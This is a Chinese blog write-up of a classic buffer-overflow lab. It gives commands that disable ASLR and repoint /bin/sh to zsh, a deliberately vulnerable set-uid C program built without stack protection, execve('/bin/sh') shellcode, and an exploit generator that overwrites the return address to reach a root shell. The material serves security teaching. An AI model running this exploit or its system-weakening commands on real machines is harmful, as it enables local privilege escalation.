Linux四大安全实验三-基于实验楼平台的学习

2023-12-19 22:50

本文主要是介绍Linux四大安全实验三-基于实验楼平台的学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

缓冲区溢出漏洞实验

  • 前言
  • 进行实验环境配置
    • 首先进行地址随机化
    • 使用zsh代替bash
    • 进入Linux32环境
  • 编写ShellCode
  • 写入漏洞程序
  • 写入攻击程序
  • 进行攻击
  • 总结

前言

如果需要一些前沿知识请看我前两篇博客汇编与反汇编入门-X86 AT&T汇编和初探缓冲区溢出。

进行实验环境配置

首先进行地址随机化

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,**而猜测内存地址是缓冲区溢出攻击的关键。**命令如下:

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

使用zsh代替bash

因为bash对set-uid程序获得root权限有防护措施,所以最好用zsh,具体见我之前的一篇文章SET-UID程序漏洞

sudo su
rm sh
ln -s zsh sh
exit

在这里插入图片描述

进入Linux32环境

输入

linux32

在这里插入图片描述

编写ShellCode

其实shellcode就是一段代码,之前我们提到过由于缓冲区溢出,数据覆盖了返回地址,比如将返回地址覆盖为JMP ESP,接下来会跳到ESP位置(栈顶),在栈顶位置写入ShellCode。先写下C代码如下:

#include<stdio.h>
#include<unistd.h>int main(int argc,char*argv[]){char *array[2];array[0]="/bin/sh";array[1]=NULL;execve(array[0],array,NULL);
}      

将这段C代码转为ShellCode(这段代码的汇编版本)可能有点难理解,可以借鉴如何编写并编译一个shellcode(linux)里面有详细说明

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

写入漏洞程序

写入代码如下:

/**这段程序肯定是有缓冲区溢出漏洞的* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* 很明显是这个函数出现的*/strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

程序相对简单,是将文件打开,并读这个文件的517字节,装入buffer,buffer只有12字节,肯定是会溢出的。
在这里提点题外话,现在的Linux系统很多都有对抗缓冲区溢出攻击,主要是三种

1. 地址随机化(之前已经随机化了)
2. 栈破坏检查(使用gcc编译时要加入参数-fno-stack-protector)
3. 限制可执行代码区域

以上来自CSAPP
现在来编译,将这个程序编译为set-uid程序

sudo su
gcc -g -z execstack -fno-stack-protector stack.c -o stack -m32
chmod u+s stack
exit

这里-g是便于后面使用gdb调试,-z execstack是允许执行栈,-fno-stack-protector是关闭gcc栈保护机制
在这里插入图片描述

写入攻击程序

攻击程序如下expoloit.c

**创建一个文件里面有ShellCode* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//这是我们之前得到的ShellCode
char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50"     //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin"     //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50"     //pushl %eax"\x53"     //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99"     //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* 初始化缓冲区  0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* 填入缓冲区 */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100/* 创建并存储文件 "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

这个x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
为了得到shellCode在内存中的地址我们需要使用gdb进行调试(调试之前得到的stack),disassemble命令可以看到反汇编代码

gdb stack
disassemble main

在这里插入图片描述
esp中就是str的起始地址
在这里插入图片描述
每台计算机地址可能不同,所以最好自己调试,我在0x00001284处设置断点其实就是在stack.c中的badfile = fopen(“badfile”, “r”); 处设置断点,我这里是23行,设置断点后,运行,然后打印esp的地址即缓冲区的起始地址
在这里插入图片描述
记录下这里的0xffffcf50。在expoloit.c中的strcpy(buffer + 100, shellcode); 知道shellcode在buffer加上100处,所以我们通过计算十六进制可得到shellcode地址,100的十六进制为64,进入十六进制计算网站,输入0xffffcf50与0x64。
在这里插入图片描述
可以知道shellcode地址为0xFFFFCFB4所以我们expoloit.c中的strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");最后的\x??\x??\x??\x??可以填入**\xb4\xcf\xff\xff**(会覆盖掉函数栈的返回地址,注意填入顺序是反的,我之前的博客初探缓冲区溢出有相关内容,见前言)。然后对程序进行编译。

gcc expoloit.c -o expoloit -m32

进行攻击

分别执行攻击程序和漏洞程序可以获得root权限
在这里插入图片描述

总结

这次实验挺有难点,需要许多前置的知识,难点尤其在ShellCode的编写,逻辑其实就是编写C语言代码,将其转换为ShellCode(这里的C语言执行execve)。
漏洞程序是将badfile文件中的内容通过strcpy函数复制入缓冲区,而缓冲区空间必然不足,所以会溢出(这一个漏洞程序是set-uid程序)。
而攻击程序其实就是将shellcode写入badfile中,写入的最后四个字节其实就是ShellCode要放的地址会覆盖掉函数栈的返回地址。相当于到函数到ret指令后会跳转到ShellCode,即执行execve函数,由于zsh+set-uid程序的组合导致特别危险,从而获得root权限。
所以先执行攻击程序再执行漏洞程序,从而成功hack。

这篇关于Linux四大安全实验三-基于实验楼平台的学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/513980

相关文章

Linux中的自定义协议+序列反序列化用法

《Linux中的自定义协议+序列反序列化用法》文章探讨网络程序在应用层的实现,涉及TCP协议的数据传输机制、结构化数据的序列化与反序列化方法,以及通过JSON和自定义协议构建网络计算器的思路,强调分层... 目录一,再次理解协议二,序列化和反序列化三,实现网络计算器3.1 日志文件3.2Socket.hpp

Linux中的HTTPS协议原理分析

《Linux中的HTTPS协议原理分析》文章解释了HTTPS的必要性:HTTP明文传输易被篡改和劫持,HTTPS通过非对称加密协商对称密钥、CA证书认证和混合加密机制,有效防范中间人攻击,保障通信安全... 目录一、什么是加密和解密?二、为什么需要加密?三、常见的加密方式3.1 对称加密3.2非对称加密四、

Linux之UDP和TCP报头管理方式

《Linux之UDP和TCP报头管理方式》文章系统讲解了传输层协议UDP与TCP的核心区别:UDP无连接、不可靠,适合实时传输(如视频),通过端口号标识应用;TCP有连接、可靠,通过确认应答、序号、窗... 目录一、关于端口号1.1 端口号的理解1.2 端口号范围的划分1.3 认识知名端口号1.4 一个进程

Linux权限管理与ACL访问控制详解

《Linux权限管理与ACL访问控制详解》Linux权限管理涵盖基本rwx权限(通过chmod设置)、特殊权限(SUID/SGID/StickyBit)及ACL精细授权,由umask决定默认权限,需合... 目录一、基本权限概述1. 基本权限与数字对应关系二、权限管理命令(chmod)1. 字符模式语法2.

在Linux系统上连接GitHub的方法步骤(适用2025年)

《在Linux系统上连接GitHub的方法步骤(适用2025年)》在2025年,使用Linux系统连接GitHub的推荐方式是通过SSH(SecureShell)协议进行身份验证,这种方式不仅安全,还... 目录步骤一:检查并安装 Git步骤二:生成 SSH 密钥步骤三:将 SSH 公钥添加到 github

Linux线程同步/互斥过程详解

《Linux线程同步/互斥过程详解》文章讲解多线程并发访问导致竞态条件,需通过互斥锁、原子操作和条件变量实现线程安全与同步,分析死锁条件及避免方法,并介绍RAII封装技术提升资源管理效率... 目录01. 资源共享问题1.1 多线程并发访问1.2 临界区与临界资源1.3 锁的引入02. 多线程案例2.1 为

Oracle数据库定时备份脚本方式(Linux)

《Oracle数据库定时备份脚本方式(Linux)》文章介绍Oracle数据库自动备份方案,包含主机备份传输与备机解压导入流程,强调需提前全量删除原库数据避免报错,并需配置无密传输、定时任务及验证脚本... 目录说明主机脚本备机上自动导库脚本整个自动备份oracle数据库的过程(建议全程用root用户)总结

Linux如何查看文件权限的命令

《Linux如何查看文件权限的命令》Linux中使用ls-R命令递归查看指定目录及子目录下所有文件和文件夹的权限信息,以列表形式展示权限位、所有者、组等详细内容... 目录linux China编程查看文件权限命令输出结果示例这里是查看tomcat文件夹总结Linux 查看文件权限命令ls -l 文件或文件夹

idea的终端(Terminal)cmd的命令换成linux的命令详解

《idea的终端(Terminal)cmd的命令换成linux的命令详解》本文介绍IDEA配置Git的步骤:安装Git、修改终端设置并重启IDEA,强调顺序,作为个人经验分享,希望提供参考并支持脚本之... 目录一编程、设置前二、前置条件三、android设置四、设置后总结一、php设置前二、前置条件

Linux系统中查询JDK安装目录的几种常用方法

《Linux系统中查询JDK安装目录的几种常用方法》:本文主要介绍Linux系统中查询JDK安装目录的几种常用方法,方法分别是通过update-alternatives、Java命令、环境变量及目... 目录方法 1:通过update-alternatives查询(推荐)方法 2:检查所有已安装的 JDK方